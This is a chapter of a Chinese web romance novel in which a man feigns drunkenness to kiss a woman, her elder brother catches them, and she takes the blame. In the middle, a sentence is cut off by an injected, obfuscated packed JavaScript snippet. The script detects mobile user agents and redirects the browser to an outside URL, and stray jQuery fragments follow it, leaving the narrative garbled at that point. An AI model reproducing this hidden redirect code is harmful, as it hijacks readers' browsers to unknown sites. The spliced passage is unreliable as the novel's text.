85. 巧舌
作品:《碎碎平安》 当然不算。
王蔺辰觉得自己充其量就算‘逗个乐’,更何况,他并没有撒谎,他一路都在说自己没喝多没醉,是谢织星不肯相信,硬是扶着他回到天枢斋后院的厢房。
这间厢房算是王蔺辰的宿舍。
谢织星的宿舍就在隔壁,她在铺子里留宿的次数不多,只间或拣着空档过来修补梅瓶时宿上一两天,多数时候她都在瓷坊闷头干活,自然也没有踏足过他的房间。
眼前的房间摆设十分简素,床摆在靠里的角落,挨着两个不带锁的木柜,以她对他的了解,估计是一个书柜一个衣柜,木柜旁摆了张长条桌,桌上摞着书籍与账本,笔墨砚台就那么敞开散落着,一个浅口小方盒里排放了五六支长短不一的炭笔。
门边靠窗的地方杵了个木脸盆架,一只空空的铜盆与一块素净的长方麻布昭示着主人良好的习惯。
谢织星几乎一眼就看完了这间四舍五入就是家徒四壁的宿舍,她忽然想,王蔺辰在王家宅院里的房间会是什么样子?
她兀自坐在床边走神,没注意到某个‘醉鬼’的动静,冷不防被一阵酒香袭裹,等回过神来,整个人已经被王蔺辰抱在怀里,他把脑袋埋到她侧颈,嘴唇贴着那里的皮肤:“阿星,你怎么不看我?不是说好了要看着我?”
“谁、谁跟你说好了?”
他声音低沉,嘴里像含了颗红炭,每个音节都带着一股灼热感往她脖颈处烙烫,源源不断的热意涌进她的血管,几乎是一瞬间的功夫,那股热意便顺着血管周游全身,她整个人当即红透。
谢织星不想同醉鬼掰扯,试图躲开,却在起身的瞬间感觉到抱着她的那个人好似全身僵了一僵,醉酒的人会有这样的肢体反应么?
她于是又坐回床边,转头去确认他的神色,“王蔺辰,你到底醉没醉?”
“没醉,一点都没,你怎么不信我?”他深不见底的眼睛像某种惑人的幻境,死死攫住了她的呼吸,他忽然声音低了些,近乎呢喃般说道:“阿星,你真好看。”
谢织星努力平稳错乱的呼吸,依旧执着发问:“你在装醉是不是?”
他勾着唇角笑起来,“阿星,你不仅好看,还很可爱……”
说着话,他冷不丁就凑近——
四目相对的刹那,整个世界忽然就消失了。
只留下唇齿间的触感与萦绕鼻尖的清淡酒香。
他吻得很凶。
似乎不得章法,但气势如虹,整副胸膛都倾过来贴着她,原先抱着她的双手却松开了撑在床沿……谢织星很清楚,自己只要轻轻一推,就可以结束这个突如其来的吻,可伸出去的手却鬼使神差地搭到了他肩头。
于是,撑在床沿的那双手就像得了某种领悟,极有耐心地攀上她纤细的脊背,张开的五指掌着那一方诱人沉沦的脊背,轻轻一压……
紧跟着,另一方夺人神智的曼妙天地就贴住了他的胸膛,以雷霆万钧的强势手段直接撕碎了生而为人的全部理智,他近乎噬咬,把封锁在心底的那头野兽解了镣铐,任由它驱使着他的整副身心。
谢织星被他吻得心慌,恍惚间感到嘴皮似乎被咬破,下意识伸舌头去舔碰,却不料与他的舌短兵相接……伴随着一声不知谁发出的轻哼,战况迅速升级,掌在她背上的大手须臾间改换阵地,往上握住了她纤细的颈,属于他的气息格外强势地灌入,一寸寸地占领着她。
他嗓音沙哑得不像话:“阿星……”
谢织星浑浑噩噩,唯一残留的一缕清明神智仍不依不饶地缠裹在“他到底醉没醉”的细枝末节上,但攻城略地的侵袭却只留给她闪念的时间,新鲜的空气尚未完全浸润肺部,不知餍足的唇舌就再度围剿过来……
这次,吻变得温柔而强势。
借着昏黄的烛光,她睁大眼睛努力揣摩他近在咫尺的面容,竟还在徒劳思考——喝醉的人能干出这样精准耍流氓的事儿么?等他明天酒醒,会不会赖账?
“怎么不专心?”
他没醉!
谢织星倏然瞪大眼睛,抓到狐狸尾巴似的,满脸兴奋地推开他,“你是故意的!”
王蔺辰看着她笑起来,先前所有的不确定都被她搭到肩膀的那双手给拂散了,他双手圈着她,眸光扫过她异常红艳的唇,忍不住又倾身靠近,“我不是说了我没醉?是你不信……”
最后几个字几乎贴着她的嘴唇游走,她有点儿气恼地推开他,准备秋后算账,没想到这会儿他却跟真醉了一样,没骨头似的嘭一声摔到床板上。
谢织星吓了一跳,连忙凑过去查看,腰间却攀上来一双大手,“想算账?那换你亲我,保证不反抗。”
“我亲你?我要想亲你,才不跟你似的耍这种幼稚手段。”
“那你会怎样?”
“直接问啊,”谢织星居高临下地看着他,在他的注视下,有些耳热,但还是直截了当地说出了口:“比如,就问,你想不想被我亲?”
“我想,特别想。”
“我并没有真的在问你。”
他盯住她的唇,“我是很认真地在回答。”
他的眼神似乎真的具有某种蛊惑性,叫她不断回忆起方才他吻她的场面,于是,鬼使神差的,谢织星慢吞吞俯下身,双手压在他坚实的胸肌上……她想,这可是他自己要求的,不亲白不亲,反正她确实挺喜欢他的。
但没亲成。
当两人的鼻尖快要相触时,门口骤然传来一声惊骇的厉喝:“小四!”
旖旎的粉泡泡瞬间破灭,两人像被长星川里冰冷的河水给浇了一身,电光火石间,王蔺辰给她递了个果断的背信弃义的眼神,眼一闭,就熟能生巧地开启了醉鬼模式的呼呼大睡。
谢织星浑身僵硬地转过头,正面遭遇了疾步进门且满脸震惊到不敢置信的谢大哥。
她张了张嘴,脸红到了耳朵根,“大、大哥……”
谢大哥看了眼‘睡’得格外香甜的某人,暂时放下自己的不可置信,生平头一回对他的四妹妹露出了严厉的神色,“还不赶紧下来!”
谢织星这才意识到,她刚刚为了查看那狗东西有没有撞到脑袋,一着不慎就坐在了他身上,好,这下有嘴没嘴都说不清了。
谢大哥痛心疾首地看着他乖巧的四妹妹从王小郎君身上下来,一时间对她感到非常陌生——他日防夜防,却没想到家贼才是最凶的那个!
“你、你怎么能……趁人之危?辰哥儿喝醉了,你、你……你一个姑娘家,哎!你叫我说你什么好?小四,大哥真是没想到……”
谢织星低着头,斜斜剜了眼床上的混账玩意儿,勇敢地接下了这口黑锅,“大哥,我知道我这么做不对,但是……大哥也觉得他长得还不错吧?这美色当前,难免有点色令智昏,我下次不会了。”
谢大哥被她的‘诚实’堵得一口气险些没上来。
而床上的某人,带着一脸欠欠的仿佛被打扰到的天真纯良翻了个身,谢织星百分之二百断定,这厮一定是为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069497|182999||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了面壁偷乐!
“你先出去,回房,这里不用你照顾。”
谢大哥却是真的纯良,把他四妹妹那个危险分子支出去后,打了一盆热水,怀着一种家门不幸的无奈与愧疚,为王蔺辰这头险恶的中山狼擦洗了面颊与双手,又仔细给他掖好被角,严严实实的,仿佛这样就能阻挡他四妹妹的‘狼子野心’。
待收拾妥当,他来到谢织星的房间,面沉如水:“小四,咱们做人要有底线,你再怎么着也不能趁着人家喝醉了,轻、轻薄他,这不道义。有什么事,你摊开来说,你对辰哥儿是怎么个意思?”
谢织星心里怄气得不行,怨念深重道:“我就图他长得好看,别的什么也没有。”
谢大哥惊得差点被自己口水呛着,他盯着谢织星这张熟悉又陌生的脸,不敢相信,这竟是他带着长大的亲妹子,“小四,你……”
谢织星叹了口气,“大哥,爱美之心人皆有之,这很正常。”
谢大哥心神不稳地退后了一步,又莫名想起当初她拿着一张新窑图纸说要让定州的瓷窑换一盘天的话,当时从叔嘴里听到,他一度认为,那不可能是小四说的。
但不得不承认,让定州瓷坊换一盘天的小四与眼前这个把登徒子行为说得如此云淡风轻的小四,才是一脉相承的。
一个怀揣着野心的人,从根上就不可能是温良的。
这么一想,谢大哥又难免觉得,这丫头和雨哥儿那小子怕不是生错了性别?雨哥儿一看就是对小沈师傅有点意思,却连递个眼神的胆量都没有,畏畏缩缩的;偏是眼前这丫头,趁着人喝醉就敢上手!
谢大哥揉了揉脑袋,颇感头疼地说道:“小四,你听哥一句,辰哥儿家里有些复杂,兄弟不齐心,你若是招惹他,往后怕是……不那么顺当,他是个能吃苦的,可到底身后站着一对父母长辈,有许多事会身不由己。”
道理么,谢织星都懂。
但她现在只想背刺那个装醉的混蛋玩意儿,“大哥,你想得太远了,我对他可没那么多心思,刚才就说了,只是图他长得好看罢了,他身后什么家人什么兄弟不齐心的,我才不在乎。以色侍人而已,我图他那么多做什么?况且,还不知道他行不行呢。”
谢大哥吓得差点上前捂住她的嘴,“你这丫头!怎么能这么说话?”
谢织星眨着一双无辜的眼睛,把她可怜的大哥眨得心惊肉跳,但大哥到底还是亲大哥,谢灿谷沉吟半晌,最终一锤定音地下了决定:“往后,你离辰哥儿远点,回头别叫人对你上了心,你却只图、图人色相。”
谢织星无奈地撇了撇嘴,好似经过一番激烈的思想挣扎,郑重地松了口:“那好吧,我听大哥的,毕竟也是一起做事的人,兔子都不吃窝边草,我确实不能这么对辰哥儿。”
谢大哥的脸色缓和了些,又听得她补了一句:“但是大哥,你最好也要看住他,别叫他总往我跟前凑,省得万一我把持不住。”
“你别再说了,大哥知道了。”
谢织星抿唇看着大哥沧桑的背影,心下有点小遗憾——她这岁月静好的人设崩得比想象中要早一些,却莫名叫人松一口气,她本就不是什么贤良淑德的小娘子,希望大哥早点看清她的真面目。
而眼下,至少可以确定两件事——
其一,大哥决计不会轻易给她牵线搭桥安排婚事了,她的瓷业大计不必在婚姻大事和传宗接代的夹缝中艰难前进;
其二,王蔺辰那王八蛋,等着被反噬吧!

